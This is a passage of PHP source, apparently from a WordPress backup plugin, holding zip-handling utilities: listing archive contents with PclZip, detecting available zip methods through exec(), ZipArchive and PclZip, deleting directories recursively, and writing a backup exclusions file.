Dropped through because ZipArchive not available or failed to open file if ( in_array( 'pclzip', $this->_zip_methods ) ) { // Make sure we have it if ( !class_exists( 'PclZip', false ) ) { // It's not already loaded so try and find/load it from possible locations if ( file_exists( ABSPATH . 'wp-admin/includes/class-pclzip.php' ) ) { // Running under WordPress @include_once( ABSPATH . 'wp-admin/includes/class-pclzip.php' ); } elseif ( file_exists( pb_backupbuddy::plugin_path() . '/lib/pclzip/pclzip.php' ) ) { // Running Standalone (importbuddy) @include_once( pb_backupbuddy::plugin_path() . '/lib/pclzip/pclzip.php' ); } } // Make sure we did load it if ( class_exists( 'PclZip', false ) ) { $za = new PclZip( $zip_file ); // Make sure we opened the zip ok and it has content if ( ( $content_list = $za->listContent() ) !== 0 ) { $file_count = sizeof( $content_list ); // Get each file in sequence by index and get the properties for ( $i = 0; $i < $file_count; $i++ ) { $stat = $content_list[ $i ]; // Assume all these keys do exist (consider testing) $file_list[] = array( $stat[ 'filename' ], $stat[ 'size' ], $stat[ 'compressed_size' ], $stat[ 'mtime' ] ); } return $file_list; } else { // Couldn't open archive - drop through as maybe other method will succeed? $error_string = $za->errorInfo( true ); pb_backupbuddy::status( 'details', sprintf( __('PclZip failed to open file to list content in file %1$s - Error Info: %2$s.','it-l10n-backupbuddy' ), $zip_file, $error_string ) ); } } else { // Something fishy - the methods indicated pclzip but we couldn't find the class pb_backupbuddy::status( 'details', __('pclzip indicated as available method but class PclZip non-existent','it-l10n-backupbuddy' ) ); } } // If we got this far then no method to list backup content was available or worked return false; } // End get_file_list(). /* available_zip_methods() * * Test availability of zip methods to determine which exist and actually work. * Detects the available zipping methods on this server. Tests command line zip via exec(), PHP's ZipArchive, or emulated zip via the PHP PCLZip library. * TODO: Actually test unzipping in unzip mode not just zipping and assuming the other will work * * @param boolean $return_best * @param string $mode Possible values: zip, unzip * @return array Possible return values: exec, ziparchive, pclzip */ function available_zip_methods( $return_best = true, $mode = 'zip' ) { $return = array(); $test_file = $this->_tempdir . 'temp_' . uniqid() . '.zip'; // Test command-line ZIP. if ( function_exists( 'exec' ) ) { $command = 'zip'; $run_exec_zip_test = true; // Handle windows. if ( stristr( PHP_OS, 'WIN' ) && !stristr( PHP_OS, 'DARWIN' ) ) { // Running Windows. (not darwin) if ( file_exists( ABSPATH . 'zip.exe' ) ) { $command = ABSPATH . $command; } // If unzip mode and unzip.exe is found then assume we have that option for unzipping since we arent actually testing unzip. if ( $mode == 'unzip' ) { $run_exec_zip_test = false; if ( file_exists( ABSPATH . 'unzip.exe' ) ) { array_push( $return, 'exec' ); } } $exec_paths = array( '' ); } else { // *NIX system. $exec_paths = array( '', '/usr/bin/', '/usr/local/bin/', '/usr/local/sbin/', '/usr/sbin/', '/sbin/', '/bin/' ); // Include preceeding & trailing slash. } if ( $run_exec_zip_test === true ) { // Possible locations to find the ZIP executable. Start with a blank string to attempt to run in current directory. pb_backupbuddy::status( 'details', 'Trying exec() in the following paths: `' . implode( ',', $exec_paths ) . '`' ); $exec_completion = false; // default state. while( $exec_completion === false ) { // Check all possible zip path locations starting with current dir. Usually the path is set to make this work without hunting. if ( empty( $exec_paths ) ) { $exec_completion = true; pb_backupbuddy::status( 'error', __( 'Exhausted all known exec() path possibilities with no success.', 'it-l10n-backupbuddy' ) ); break; } $path = array_shift( $exec_paths ); pb_backupbuddy::status( 'details', __( 'Trying exec() ZIP path:', 'it-l10n-backupbuddy' ) . ' `' . $path . '`.' ); $exec_command = $path . $command . ' "' . $test_file . '" "' . __FILE__ . '" 2>&1'; // 2>&1 to redirect STRERR to STDOUT. pb_backupbuddy::status( 'details', 'Zip test exec() command: `' . $exec_command . '`' ); list( $exec_output, $exec_exit_code ) = $this->_commandbuddy->execute( $exec_command ); if ( ( !file_exists( $test_file ) ) || ( $exec_exit_code == '-1' ) ) { // File not made or error returned. $exec_completion = false; if ( $exec_exit_code == '-1' ) { pb_backupbuddy::status( 'details', __( 'Exec command returned -1.', 'it-l10n-backupbuddy' ) ); } if ( !file_exists( $test_file ) ) { pb_backupbuddy::status( 'details', __( 'Exec command ran but ZIP file did not exist.', 'it-l10n-backupbuddy' ) ); } if ( file_exists( $test_file ) ) { // If file was somehow created, do cleanup on it. pb_backupbuddy::status( 'details', __( 'Cleaning up damaged ZIP file. Issue #3489328998.', 'it-l10n-backupbuddy' ) ); unlink( $test_file ); } } else { // Success. $exec_completion = true; if ( !unlink( $test_file ) ) { echo sprintf( __( 'Error #564634. Unable to delete test file (%s)!', 'it-l10n-backupbuddy' ), $test_file ); } array_push( $return, 'exec' ); $this->_execpath = $path; break; } } // end while } // End $run_exec_test === true. } // End function_exists( 'exec' ). // Test ZipArchive if ( class_exists( 'ZipArchive' ) ) { if ( $this->test_ziparchive() === true ) { array_push( $return, 'ziparchive' ); } } // Test PCLZip if ( class_exists( 'PclZip' ) ) { // Class already loaded. array_push( $return, 'pclzip' ); } else { // Class not loaded. Seek it out. if ( file_exists( ABSPATH . 'wp-admin/includes/class-pclzip.php' ) ) { // Inside WP. require_once( ABSPATH . 'wp-admin/includes/class-pclzip.php' ); array_push( $return, 'pclzip' ); } elseif ( file_exists( pb_backupbuddy::plugin_path() . '/lib/pclzip/pclzip.php' ) ) { // ImportBuddy. require_once( pb_backupbuddy::plugin_path() . '/lib/pclzip/pclzip.php' ); array_push( $return, 'pclzip' ); } } return $return; } // End available_zip_methods(). // Recursively delete a directory and all content within. function delete_directory_recursive( $directory ) { $directory = preg_replace( '|[/\\\\]+$|', '', $directory ); $files = glob( $directory . '/*', GLOB_MARK ); if ( is_array( $files ) && !empty( $files ) ) { foreach( $files as $file ) { if( '/' === substr( $file, -1 ) ) $this->delete_directory_recursive( $file ); else unlink( $file ); } } if ( is_dir( $directory ) ) rmdir( $directory ); if ( is_dir( $directory ) ) return false; return true; } // End delete_directory_recursive(). function set_zip_methods( $methods ) { $this->_zip_methods = $methods; } // End set_zip_methods(). /* _render_exclusions_file() * * function description * * @param string $file File to write exclusions into. * @param array $exclusions Array of directories/paths to exclude. One per line. * @return null */ public function _render_exclusions_file( $file, $exclusions ) { // Array for cleaned up exclusions list $sanitized_exclusions = array(); pb_backupbuddy::status( 'details', 'Creating backup exclusions file `' . $file . '`.' ); //$exclusions = backupbuddy_core::get_directory_exclusions(); // Test each exclusion for validity (presence) and drop those not actually present foreach( $exclusions as $exclusion ) { // Make sure platform specific directory separators are used (could have migrated from different platform) $exclusion = preg_replace( '|[' . addslashes( self::DIRECTORY_SEPARATORS ) . ']+|', DIRECTORY_SEPARATOR, $exclusion ); // DIRECTORY. if ( is_dir( ABSPATH . ltrim( $exclusion, DIRECTORY_SEPARATOR ) ) ) { pb_backupbuddy::status( 'details', 'Excluding directory `' . $exclusion . '`.' ); // Need to add the wildcard so that zip will exclude the directory and content $exclusion = rtrim( $exclusion, DIRECTORY_SEPARATOR ) . DIRECTORY_SEPARATOR . '*'; // FILE. } elseif ( is_file( ABSPATH . ltrim( $exclusion, DIRECTORY_SEPARATOR ) ) ) { pb_backupbuddy::status( 'details', 'Excluding file `' . $exclusion . '`.' ); // SYMBOLIC LINK. } elseif ( is_link( ABSPATH . ltrim( $exclusion, DIRECTORY_SEPARATOR ) ) ) { pb_backupbuddy::status( 'details', 'Excluding symbolic link `' . $exclusion . '`.' ); // DOES NOT EXIST. } else { pb_backupbuddy::status( 'details', 'Omitting exclusion as file/directory does not currently exist: `' . $exclusion . '`.' ); // Skip to next exclusion continue; } // We have a valid exclude so add it $sanitized_exclusions[] = $exclusion; } // Put the exclusions to a file as a string file_put_contents( $file, implode( PHP_EOL, $sanitized_exclusions ) . PHP_EOL ); pb_backupbuddy::status( 'details', 'Backup exclusions file created.' ); } // End render_exclusions_file(). } // End class } ?>